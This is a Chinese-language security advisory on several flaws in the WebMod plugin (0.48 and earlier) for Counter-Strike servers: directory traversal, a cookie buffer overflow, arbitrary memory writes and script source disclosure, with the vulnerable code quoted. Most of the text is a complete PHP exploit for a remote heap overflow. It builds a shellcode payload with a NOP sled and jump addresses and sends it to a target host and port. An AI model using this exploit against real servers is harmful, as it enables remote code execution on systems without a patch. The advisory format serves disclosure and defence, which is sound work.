WebMod多个远程安全漏洞
2008-10-04
系统编号:
WAVDB-01163
BUGTRAQ: 29031
影响版本:
WebMod <= 0.48
程序介绍:
WebMod是开放源码的MetaMod插件,可用作CS游戏的web服务器。
漏洞分析:
WebMod插件中存在多个安全漏洞,可能允许远程攻击者执行目录遍历攻击、触发缓冲区溢出或读取敏感信息。
----------------------
A] 目录遍历
----------------------
WebMod使用的防目录遍历检查搜索客户端HTTP请求中的“../”内容,因此攻击者可以使用“..\”模式绕过检查从磁盘下载任意文件,包括游戏服务器的配置文件(例如..\..\..\..\platform\config\server.vdf或..\..\..\server.cfg)。仅可以在Windows服务器上利用这个漏洞。
以下是server.cpp中的有漏洞代码部分:
void clientHandle(int connfd, httpquery_t *query, int tid)
...
if(strstr(str,"../")) // hack attempt, display index page
{
str[0]='\0';
}
-------------------------
B] Cookie缓冲区溢出
-------------------------
大于MYSOCK_BUFLEN (8192字节)的cookie参数可能触发栈溢出。
以下是server.cpp中的有漏洞代码部分:
void connectHandle(void *data)
{
char *input;
char buf[MYSOCK_BUFLEN+1];
...
for(j=0;input[i]&&input[i]!=';'&&input[i]!='\n';j++,i++)
buf[j]=input[i];
--------------------------------------
C] parser.cpp写入任意内存
--------------------------------------
大于MAX_FILE_SIZE(16384字节)的值可能导致通过strcat(auth.w?mode)、空指针(auth.w?redir)或无效内存访问(auth.w的rconpass参数)等向自定义内存地址写入自定义数据。
----------------------------
D] 脚本源码泄露
----------------------------
在所请求的URI末尾添加句号允许查看脚本的源码而不是执行脚本。
漏洞利用:
http://aluigi.org/poc/webmodz.zip
- <?php
- ## HLDS WebMod 0.48 (rconpass) Remote Heap Overflow Exploit
- ## Tested on HLDS Launcher 4.1.1.1, WebMod 0.48, Windows XP SP2 Hebrew
- ## shir, skod.uk [at] gmail [dot] com
- ## 17/12/2007
- ## Registers (rconpass = "A"x16444):
- # EAX 67E04955 w_mm.67E04955
- # ECX 41414141
- # EDX 41414141
- # EBX 0000000A
- # ESP 08F650FC
- # EBP 08F726D4
- # ESI 08F72734
- # EDI 00000000
- # EIP 67E0498C w_mm.67E0498C
- #########
- error_reporting(7);
- ini_set("max_execution_time",0);
- if($_SERVER['argv'][1] && $_SERVER['argv'][2]) {
- $host = $_SERVER['argv'][1];
- $port = $_SERVER['argv'][2];
- } else {
- echo ("\r\nHLDS WebMod 0.48 Remote Heap Overflow Exploit\r\n");
- echo ("Written by shir, skod.uk\x40gmail\x2Ecom\r\n");
- echo ("Usage: php {$_SERVER['argv'][0]} IP PORT\r\n");
- echo ("Example: php {$_SERVER['argv'][0]} 192.168.0.100 27015\r\n");
- exit();
- }
- echo "[~] Packing...\r\n";
- $scode = "\x66\x83\xC0\x04\xFF\xE0"; /*ADD EAX, 4 => JMP EAX*/
- # win32_bind - Calc executer. Metasploit.com
- $shellcode =
- "\x33\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf4".
- "\x47\xba\xa4\x83\xeb\xfc\xe2\xf4\x08\xaf\xfe\xa4\xf4\x47\x31\xe1".
- "\xc8\xcc\xc6\xa1\x8c\x46\x55\x2f\xbb\x5f\x31\xfb\xd4\x46\x51\xed".
- "\x7f\x73\x31\xa5\x1a\x76\x7a\x3d\x58\xc3\x7a\xd0\xf3\x86\x70\xa9".
- "\xf5\x85\x51\x50\xcf\x13\x9e\xa0\x81\xa2\x31\xfb\xd0\x46\x51\xc2".
- "\x7f\x4b\xf1\x2f\xab\x5b\xbb\x4f\x7f\x5b\x31\xa5\x1f\xce\xe6\x80".
- "\xf0\x84\x8b\x64\x90\xcc\xfa\x94\x71\x87\xc2\xa8\x7f\x07\xb6\x2f".
- "\x84\x5b\x17\x2f\x9c\x4f\x51\xad\x7f\xc7\x0a\xa4\xf4\x47\x31\xcc".
- "\xc8\x18\x8b\x52\x94\x11\x33\x5c\x77\x87\xc1\xf4\x9c\xb7\x30\xa0".
- "\xab\x2f\x22\x5a\x7e\x49\xed\x5b\x13\x24\xdb\xc8\x97\x47\xba\xa4";
- $evilcode = str_repeat("\x90", 100);
- $evilcode.= $shellcode;
- $evilcode.= str_repeat("\x90", 16156-(strlen($shellcode)));
- $evilcode.= "\xFD\xAF\x6A\x07"; #076AAFFD FFE4 => JMP ESP (cstrike\dlls\mp.dll)
- $evilcode.= str_repeat("\x90", 60-(strlen($scode)));
- $evilcode.= $scode;
- $evilcode.= str_repeat("\x90", 8);
- $evilcode.= str_repeat("0", 72);
- $evilcode.= str_repeat("%00", 4);
- $evilcode.= str_repeat("0", 4);
- $evilcode.= "\x20\xF0\xFD\x7F"; #Windows PEB Lock Pointer
- $evilcode.= str_repeat("%00", 8);
- $post = "rconpass=" . $evilcode . "&setcookiesNULL=rconpass";
- $pack = "POST /auth.w?redir= HTTP/1.1\r\n";
- $pack.= "Host: {$host}:{$port}\r\n";
- $pack.= "User-Agent: Mozilla/5.0\r\n";
- $pack.= "Accept: */*\r\n";
- $pack.= "Accept-Language: en-us,en;q=0.5\r\n";
- $pack.= "Accept-Encoding: gzip,deflate\r\n";
- $pack.= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
- $pack.= "Keep-Alive: 300\r\n";
- $pack.= "Connection: keep-alive\r\n";
- $pack.= "Content-Type: application/x-www-form-urlencoded\r\n";
- $pack.= "Content-Length: ". strlen($post) ."\r\n\r\n" . $post;
- echo "[~] Sending...\r\n";
- $sock = @fsockopen($host, $port, $errno, $errstr, 10);
- if ($errstr)
- echo("[-] Can't connect {$host}:{$port}\r\n");
- else {
- fputs($sock, $pack);
- $tmp = fgets($sock,1024);
- if(strstr($tmp, '<'))
- echo "[-] Failed, you better try again.\r\n";
- else
- echo "[+] Shellcode should be executed.\r\n";
- fclose($sock);
- }
- ?>
解决方案:
厂商补丁:
djeyl.net
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.djeyl.net/w.php
信息来源:
<*来源:Luigi Auriemma (aluigi@pivx.com)
链接:http://marc.info/?l=bugtraq&m=120984359213177&w=2
*>